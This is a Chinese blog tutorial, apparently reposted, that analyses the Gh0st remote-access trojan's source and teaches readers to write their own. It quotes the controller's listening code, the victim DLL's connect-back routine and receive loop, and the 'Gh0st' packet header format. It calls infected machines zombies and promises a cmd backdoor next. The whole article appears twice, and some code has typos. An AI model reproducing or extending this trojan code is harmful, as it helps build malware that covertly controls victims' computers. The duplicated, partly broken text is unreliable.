gh0st源码分析与远控的编写(二)



上次说了那么多,基本上就是一个叫“大局观”的东西,只有脑子里有了一个软件的设计、运行思路,才能把一个一个类写出来,组合在一起。

Gh0st的作者是一个对代码有很好掌控的人,他对代码的组合,类之间的关系,面向对象的思想有很深入的理解。而对我们看源码的人来说,这种结构化、条理化的程序,阅读起来十分轻松,思路也十分清晰。

废话不多说,我们今天来看一下gh0st的上线。所谓上线,就是我们被控端启动起来,并主动连接我们主控端,建立起TCP连接以后,主控端就可以通过相关命令来操作被控端了,这就是一台“肉鸡”的上线。

上线以后,主控端就获取到被控端计算机的相关信息,如下图:

20130510_173119.jpg


界面就是完全按照老狼的gh0st教程中的界面设计的。我们打开源码,看看上线,gh0st是怎么处理的。

以后每次文章,我会把我的源码发上来,大家看我的源码就可以了。这里先简洁地介绍一下我的源码。有如下一些文件。

20130510_173300.jpg


这是一个解决方案,其中:MainDll是被控端,一个动态链接库的工程;DLLTest是加载dll的普通控制台工程;PhRemote是主控端工程,MFC的界面。Bin是我们输出文件夹,编译好的文件会在其中,其中又有两个文件夹,PhRemote是主控端,server是被控端,server中放着exe和dll,点击exe就算启动了被控端。Common中放着三个工程都可能用到的文件。


回到代码上。在主控端方面,首先我们开启了一个端口(80),来等待被控端的连接。这些工作由Activate函数完成(在PhRemote中搜索该函数找到它):


void CPhRemoteDlg::Activate(UINT uPort, UINT nMaxConnect)
{
    CString str;
    if (m_iocpServer != NULL)
    {
        m_iocpServer->Shutdown();
        delete m_iocpServer;
    }

    m_iocpServer = new CIOCPServer();
    if (m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort))
    {
        char hostname[256];
        gethostname(hostname, sizeof(hostname));
        HOSTENT *host = gethostbyname(hostname);
        if (host != NULL)
        {
            for ( int i=0; ; i++ )
            {
                str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
                if ( host->h_addr_list[i] + host->h_length >= host->h_name )
                    break;
                str += "/";
            }
       }
        str.Format("监听端口: %d成功", uPort);
        AddInfoList(TRUE, str);
    }
    else
    {
        str.Format("监听端口: %d失败”, uPort);
        AddInfoList(FALSE, str);
    }
}

首先,变量m_iocpServer,这是我们上次说到的gh0st数据传输使用的CIOCPServer类对象,m_iocpServer = new CIOCPServer(),为它在堆上分配内存。以后我们的数据传输,都使用该对象来完成。

之后我们调用了该对象一个成员函数:m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort),我们右键 - 转到定义,可以查看到在CIOCPServer函数的定义。

大概就是初始化socket套接字的一个过程:WSASocket > WSACreateEvent > WSAEventSelect > bind > listen > 进入监听线程。这已经是socket编程的一个基础了,我就不多讲。不过,其中用到了Event这个概念,这是完成端口模型中用到的概念。大家可以自己网上搜索一些异步IO模型的相关资料学习。

在m_iocpServer->Initialize函数执行完成后,等于说已经开始监听80端口了。这个if语句中有一个for循环,该循环并没有用上,到此为止我也不知道老狼的源码中为什么会有这样一段。它的作用是获取本机在所有网段下的ip地址,以/分隔。

最后,监听成功或失败则向下面一个ListCtrl中增加一条信息。


好,我们在转向被控端,就是那个dll工程。我们这个DLL只有一个导出函数,就是TestRun,执行了这个函数,等于开启了被控端。找到该函数:

1 extern "C" __declspec(dllexportvoid TestRun(char* strHost,int nPort )
2 {
3     strcpy_s(g_strHost, _countof(g_strHost),strHost);   //保存上线地址
4     g_dwPort = nPort;                                       //保存上线端口
5     HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
6   //这里等待线程结束
7     WaitForSingleObject(hThread, INFINITE);
8     CloseHandle(hThread);
9 }

该函数有两个参数,分别是主控端的IP和端口。如果不知道IP和端口,我们也不能向主控端发起连接,不是吗?

本函数实际上是开启了一个线程,执行main函数。打开main函数,我只找关于上线的相关代码:

首先声明了一个CClientSocket socketClient;对象,我之前说了,被控端的数据传输,由CClientSocket类完成。

之后:

1 if (!socketClient.Connect(lpszHost, dwPort))
2     {
3     bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
4     continue;
5     }

之后调用了socketClient.Connect函数(参数依旧是主控端的IP和端口),从字面意思就可以猜到是由它来连接我们的主控端。于是,右键 - 转到定义,找到该函数。

其中可能涉及到sock5代理,Negle算法等复杂的过程,我就不展开了。你只要知道,调用了socketClient.Connect函数,我们就连接了主控端的80端口。

在socketClient.Connect函数的最后,我们看到,它又开启了一个线程,执行WorkThread函数,跟进此函数看:

01 DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)  
02 {
03     CClientSocket *pThis = (CClientSocket *)lparam;
04     char    buff[MAX_RECV_BUFFER];
05     fd_set fdSocket;
06     FD_ZERO(&fdSocket);
07     FD_SET(pThis->m_Socket, &fdSocket);
08     while (pThis->IsRunning())                //---如果主控端没有退出,就一直陷在这个循环中
09     {
10         fd_set fdRead = fdSocket;
11         int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接
12         if (nRet == SOCKET_ERROR)     
13         {
14             pThis->Disconnect();
15             break;
16         }
17         if (nRet > 0)
18         {
19             memset(buff, 0, sizeof(buff));
20             int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据
21             if (nSize <= 0)
22             {
23                 pThis->Disconnect();//---接收错误处理
24                 break;
25             }
26             if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用OnRead处理
27         }
28     }
29     return -1;
30 }

看注释就很清楚了。不多说,类似于一个select选择模型,来循环接受主控端发来的信息。正确接受信息,就调用OnRead处理,所以我们跟进OnRead函数。该函数注释写的很详细,有一点我要说明。

被控端与主控端通信,每条信息有一个数据头,我们来到CClientSocket类的构造函数,可以看到以下赋值:

BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'};

memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));

m_bPacketFlag这也就是我们的数据头。相当于一个确认的作用,发来的包的前五个字节必须是"Gh0st",否则就丢弃此包,抛出一个错误。

它是这样处理的:

1 BYTE bPacketFlag[FLAG_SIZE];
2 CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
3 if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
4     throw "bad buffer";

FLAG_SIZE就是5,表示数据头大小5字节。首先copymemory,把前5字节从数据包中拷贝出来,再用memcmp比较是否是“Gh0st”,不是则throw出错误。

再往下看,第6-9个字节(一个int的大小),保存的是数据包的大小。

1 int nSize = 0;
2 CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
3 //--- 判断数据的大小
4 if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
5     {...}
    

用CopyMemory拷贝出该数,nSize是拷贝出来的数据包大小,这是压缩后的数据包的大小。如果不出意外,进入if语句。If语句中,我们看到三个read:

m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));

m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));

m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));

分别读的就是数据头(Gh0st),数据包大小,压缩前大小。之后还有一个read:

m_CompressionBuffer.Read(pData, nCompressLength);

这就是读的数据了。所以说算一下,数据头5字节,两个int,8字节,一共13个字节,相当于是数据包的header部分,而从第14字节开始,就是真正的数据包了。

我们调用uncompress函数,解压缩数据包,得到需要的数据。Gh0st利用解压成功与否,判断一个数据包的好坏。如果解压成功,则执行OnReceive函数:

1 if (nRet == Z_OK)//---如果解压成功
2 {
3     m_DeCompressionBuffer.ClearBuffer();
4     m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
5     //调用m_pManager->OnReceive函数
6     m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
7 }
8 else
9     throw "bad buffer";


OnReceive函数在CManager中定义,但并未实现(一个虚函数)。

我们看m_pManager,它其实是一个CManager类对象。由于多态的存在,在不同的情况下,它会指向不同的代码,执行不同的任务。(我觉得这是gh0st源码中面向对象的精髓所在)

它到底有什么用呢?下次我会给大家实现cmd后门的功能,到时候你就知道这个点的用处所在了。

上次说了那么多,基本上就是一个叫“大局观”的东西,只有脑子里有了一个软件的设计、运行思路,才能把一个一个类写出来,组合在一起。

Gh0st的作者是一个对代码有很好掌控的人,他对代码的组合,类之间的关系,面向对象的思想有很深入的理解。而对我们看源码的人来说,这种结构化、条理化的程序,阅读起来十分轻松,思路也十分清晰。

废话不多说,我们今天来看一下gh0st的上线。所谓上线,就是我们被控端启动起来,并主动连接我们主控端,建立起TCP连接以后,主控端就可以通过相关命令来操作被控端了,这就是一台“肉鸡”的上线。

上线以后,主控端就获取到被控端计算机的相关信息,如下图:

20130510_173119.jpg


界面就是完全按照老狼的gh0st教程中的界面设计的。我们打开源码,看看上线,gh0st是怎么处理的。

以后每次文章,我会把我的源码发上来,大家看我的源码就可以了。这里先简洁地介绍一下我的源码。有如下一些文件。

20130510_173300.jpg


这是一个解决方案,其中:MainDll是被控端,一个动态链接库的工程;DLLTest是加载dll的普通控制台工程;PhRemote是主控端工程,MFC的界面。Bin是我们输出文件夹,编译好的文件会在其中,其中又有两个文件夹,PhRemote是主控端,server是被控端,server中放着exe和dll,点击exe就算启动了被控端。Common中放着三个工程都可能用到的文件。


回到代码上。在主控端方面,首先我们开启了一个端口(80),来等待被控端的连接。这些工作由Activate函数完成(在PhRemote中搜索该函数找到它):

01 void CPhRemoteDlg::Activate(UINT uPort, UINT nMaxConnect)
02 {
03     CString str;
04     if (m_iocpServer != NULL)
05     {
06         m_iocpServer->Shutdown();
07         delete m_iocpServer;
08     }
09     m_iocpServer = new CIOCPServer();
10  
11     if (m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort))
12     {
13         char hostname[256];
14         gethostname(hostname, sizeof(hostname));
15         HOSTENT *host = gethostbyname(hostname);
16         if (host != NULL)
17         {
18             for int i=0; ; i++ )
19             {
20                 str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
21                 if ( host->h_addr_list[i] + host->h_length >= host->h_name )
22                     break;
23                 str += "/";
24             }
25         }
26         str.Format("监听端口: %d成功", uPort);
27         AddInfoList(TRUE, str);
28     }
29     else
30     {
31         str.Format("监听端口: %d失败”, uPort);
32         AddInfoList(FALSE, str);
33     }
34 }

    

首先,变量m_iocpServer,这是我们上次说到的gh0st数据传输使用的CIOCPServer类对象,m_iocpServer = new CIOCPServer(),为它在堆上分配内存。以后我们的数据传输,都使用该对象来完成。

之后我们调用了该对象一个成员函数:m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort),我们右键 - 转到定义,可以查看到在CIOCPServer函数的定义。

大概就是初始化socket套接字的一个过程:WSASocket > WSACreateEvent > WSAEventSelect > bind > listen > 进入监听线程。这已经是socket编程的一个基础了,我就不多讲。不过,其中用到了Event这个概念,这是完成端口模型中用到的概念。大家可以自己网上搜索一些异步IO模型的相关资料学习。

在m_iocpServer->Initialize函数执行完成后,等于说已经开始监听80端口了。这个if语句中有一个for循环,该循环并没有用上,到此为止我也不知道老狼的源码中为什么会有这样一段。它的作用是获取本机在所有网段下的ip地址,以/分隔。

最后,监听成功或失败则向下面一个ListCtrl中增加一条信息。


好,我们在转向被控端,就是那个dll工程。我们这个DLL只有一个导出函数,就是TestRun,执行了这个函数,等于开启了被控端。找到该函数:

1 extern "C" __declspec(dllexportvoid TestRun(char* strHost,int nPort )
2 {
3     strcpy_s(g_strHost, _countof(g_strHost),strHost);   //保存上线地址
4     g_dwPort = nPort;                                       //保存上线端口
5     HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
6   //这里等待线程结束
7     WaitForSingleObject(hThread, INFINITE);
8     CloseHandle(hThread);
9 }

该函数有两个参数,分别是主控端的IP和端口。如果不知道IP和端口,我们也不能向主控端发起连接,不是吗?

本函数实际上是开启了一个线程,执行main函数。打开main函数,我只找关于上线的相关代码:

首先声明了一个CClientSocket socketClient;对象,我之前说了,被控端的数据传输,由CClientSocket类完成。

之后:

1 if (!socketClient.Connect(lpszHost, dwPort))
2     {
3     bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
4     continue;
5     }

之后调用了socketClient.Connect函数(参数依旧是主控端的IP和端口),从字面意思就可以猜到是由它来连接我们的主控端。于是,右键 - 转到定义,找到该函数。

其中可能涉及到sock5代理,Negle算法等复杂的过程,我就不展开了。你只要知道,调用了socketClient.Connect函数,我们就连接了主控端的80端口。

在socketClient.Connect函数的最后,我们看到,它又开启了一个线程,执行WorkThread函数,跟进此函数看:

01 DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)  
02 {
03     CClientSocket *pThis = (CClientSocket *)lparam;
04     char    buff[MAX_RECV_BUFFER];
05     fd_set fdSocket;
06     FD_ZERO(&fdSocket);
07     FD_SET(pThis->m_Socket, &fdSocket);
08     while (pThis->IsRunning())                //---如果主控端没有退出,就一直陷在这个循环中
09     {
10         fd_set fdRead = fdSocket;
11         int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接
12         if (nRet == SOCKET_ERROR)     
13         {
14             pThis->Disconnect();
15             break;
16         }
17         if (nRet > 0)
18         {
19             memset(buff, 0, sizeof(buff));
20             int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据
21             if (nSize <= 0)
22             {
23                 pThis->Disconnect();//---接收错误处理
24                 break;
25             }
26             if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用OnRead处理
27         }
28     }
29     return -1;
30 }

看注释就很清楚了。不多说,类似于一个select选择模型,来循环接受主控端发来的信息。正确接受信息,就调用OnRead处理,所以我们跟进OnRead函数。该函数注释写的很详细,有一点我要说明。

被控端与主控端通信,每条信息有一个数据头,我们来到CClientSocket类的构造函数,可以看到以下赋值:

BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'};

memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));

m_bPacketFlag这也就是我们的数据头。相当于一个确认的作用,发来的包的前五个字节必须是"Gh0st",否则就丢弃此包,抛出一个错误。

它是这样处理的:

1 BYTE bPacketFlag[FLAG_SIZE];
2 CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
3 if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
4     throw "bad buffer";

FLAG_SIZE就是5,表示数据头大小5字节。首先copymemory,把前5字节从数据包中拷贝出来,再用memcmp比较是否是“Gh0st”,不是则throw出错误。

再往下看,第6-9个字节(一个int的大小),保存的是数据包的大小。

1 int nSize = 0;
2 CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
3 //--- 判断数据的大小
4 if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
5     {...}
    

用CopyMemory拷贝出该数,nSize是拷贝出来的数据包大小,这是压缩后的数据包的大小。如果不出意外,进入if语句。If语句中,我们看到三个read:

m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));

m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));

m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));

分别读的就是数据头(Gh0st),数据包大小,压缩前大小。之后还有一个read:

m_CompressionBuffer.Read(pData, nCompressLength);

这就是读的数据了。所以说算一下,数据头5字节,两个int,8字节,一共13个字节,相当于是数据包的header部分,而从第14字节开始,就是真正的数据包了。

我们调用uncompress函数,解压缩数据包,得到需要的数据。Gh0st利用解压成功与否,判断一个数据包的好坏。如果解压成功,则执行OnReceive函数:

1 if (nRet == Z_OK)//---如果解压成功
2 {
3     m_DeCompressionBuffer.ClearBuffer();
4     m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
5     //调用m_pManager->OnReceive函数
6     m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
7 }
8 else
9     throw "bad buffer";


OnReceive函数在CManager中定义,但并未实现(一个虚函数)。

我们看m_pManager,它其实是一个CManager类对象。由于多态的存在,在不同的情况下,它会指向不同的代码,执行不同的任务。(我觉得这是gh0st源码中面向对象的精髓所在)

它到底有什么用呢?下次我会给大家实现cmd后门的功能,到时候你就知道这个点的用处所在了。

猜你喜欢

转载自blog.csdn.net/gogocsdn1/article/details/73277078